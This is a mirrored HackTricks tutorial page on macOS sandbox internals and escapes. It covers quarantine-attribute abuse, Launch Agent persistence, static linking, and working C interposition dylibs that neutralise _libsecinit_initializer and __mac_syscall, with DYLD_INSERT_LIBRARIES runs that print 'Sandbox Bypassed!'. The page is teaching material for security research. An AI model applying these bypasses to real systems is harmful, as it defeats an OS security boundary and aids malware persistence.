mirror of https://github.com/carlospolop/hacktricks synced 2024-12-24 20:13:37 +00:00

History

Carlos Polop 6be43c15e9 Recreating repository history		2024-12-12 11:39:29 +01:00
..
macos-office-sandbox-bypasses.md	Recreating repository history	2024-12-12 11:39:29 +01:00
README.md	Recreating repository history	2024-12-12 11:39:29 +01:00

README.md

macOS Sandbox Debug & Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% endhint %} {% endhint %}

Sandbox loading process

Image from http://newosxbook.com/files/HITSB.pdf

In the previous image it's possible to observe how the sandbox will be loaded when an application with the entitlement com.apple.security.app-sandbox is run.

The compiler will link /usr/lib/libSystem.B.dylib to the binary.

Then, libSystem.B will be calling other several functions until the xpc_pipe_routine sends the entitlements of the app to securityd. Securityd checks if the process should be quarantine inside the Sandbox, and if so, it will be quarentine.
Finally, the sandbox will be activated will a call to __sandbox_ms which will call __mac_syscall.

Possible Bypasses

Bypassing quarantine attribute

Files created by sandboxed processes are appended the quarantine attribute to prevent sandbox escaped. However, if you manage to create an .app folder without the quarantine attribute within a sandboxed application, you could make the app bundle binary point to /bin/bash and add some env variables in the plist to abuse open to launch the new app unsandboxed.

This is what was done in CVE-2023-32364.

{% hint style="danger" %} Therefore, at the moment, if you are just capable of creating a folder with a name ending in .app without a quarantine attribute, you can scape the sandbox because macOS only checks the quarantine attribute in the .app folder and in the main executable (and we will point the main executable to /bin/bash).

Note that if an .app bundle has already been authorized to run (it has a quarantine xttr with the authorized to run flag on), you could also abuse it... except that now you cannot write inside .app bundles unless you have some privileged TCC perms (which you won't have inside a sandbox high). {% endhint %}

Abusing Open functionality

In the last examples of Word sandbox bypass can be appreciated how the open cli functionality could be abused to bypass the sandbox.

{% content-ref url="macos-office-sandbox-bypasses.md" %} macos-office-sandbox-bypasses.md {% endcontent-ref %}

Launch Agents/Daemons

Even if an application is meant to be sandboxed (com.apple.security.app-sandbox), it's possible to make bypass the sandbox if it's executed from a LaunchAgent (~/Library/LaunchAgents) for example.
As explained in this post, if you want to gain persistence with an application that is sandboxed you could make be automatically executed as a LaunchAgent and maybe inject malicious code via DyLib environment variables.

Abusing Auto Start Locations

If a sandboxed process can write in a place where later an unsandboxed application is going to run the binary, it will be able to escape just by placing there the binary. A good example of this kind of locations are ~/Library/LaunchAgents or /System/Library/LaunchDaemons.

For this you might even need 2 steps: To make a process with a more permissive sandbox (file-read*, file-write*) execute your code which will actually write in a place where it will be executed unsandboxed.

Check this page about Auto Start locations:

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

Abusing other processes

If from then sandbox process you are able to compromise other processes running in less restrictive sandboxes (or none), you will be able to escape to their sandboxes:

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Static Compiling & Dynamically linking

This research discovered 2 ways to bypass the Sandbox. Because the sandbox is applied from userland when the libSystem library is loaded. If a binary could avoid loading it, it would never get sandboxed:

If the binary was completely statically compiled, it could avoid loading that library.
If the binary wouldn't need to load any libraries (because the linker is also in libSystem), it won't need to load libSystem.

Shellcodes

Note that even shellcodes in ARM64 needs to be linked in libSystem.dylib:

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

Note that even if some actions might be allowed by at he sandbox if an application has an specific entitlement, like in:

(when (entitlement "com.apple.security.network.client")
      (allow network-outbound (remote ip))
      (allow mach-lookup
             (global-name "com.apple.airportd")
             (global-name "com.apple.cfnetwork.AuthBrokerAgent")
             (global-name "com.apple.cfnetwork.cfnetworkagent")
             [...]

Interposting Bypass

For more information about Interposting check:

{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %} macos-function-hooking.md {% endcontent-ref %}

Interpost `_libsecinit_initializer` to prevent the sandbox

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
    printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
	void (*overriden__libsecinit_initializer)(void);
	void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

Interpost `__mac_syscall` to prevent the Sandbox

{% code title="interpose.c" %}

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
    printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
    if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
        printf("Bypassing Sandbox initiation.\n");
        return 0; // pretend we did the job without actually calling __mac_syscall
    }
    // Call the original function for other cases
    return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
    const void *replacement;
    const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
    { (const void *)my_mac_syscall, (const void *)__mac_syscall },
};

{% endcode %}

DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debug & bypass Sandbox with lldb

Let's compile an application that should be sandboxed:

{% tabs %} {% tab title="sand.c" %}

#include <stdlib.h>
int main() {
    system("cat ~/Desktop/del.txt");
}

{% endtab %}

{% tab title="entitlements.xml" %}

<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>com.apple.security.app-sandbox</key>
<true/>
</dict>
</plist>

{% endtab %}

{% tab title="Info.plist" %}

<plist version="1.0">
<dict>
    <key>CFBundleIdentifier</key>
    <string>xyz.hacktricks.sandbox</string>
    <key>CFBundleName</key>
    <string>Sandbox</string>
</dict>
</plist>

{% endtab %} {% endtabs %}

Then compile the app:

{% code overflow="wrap" %}

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand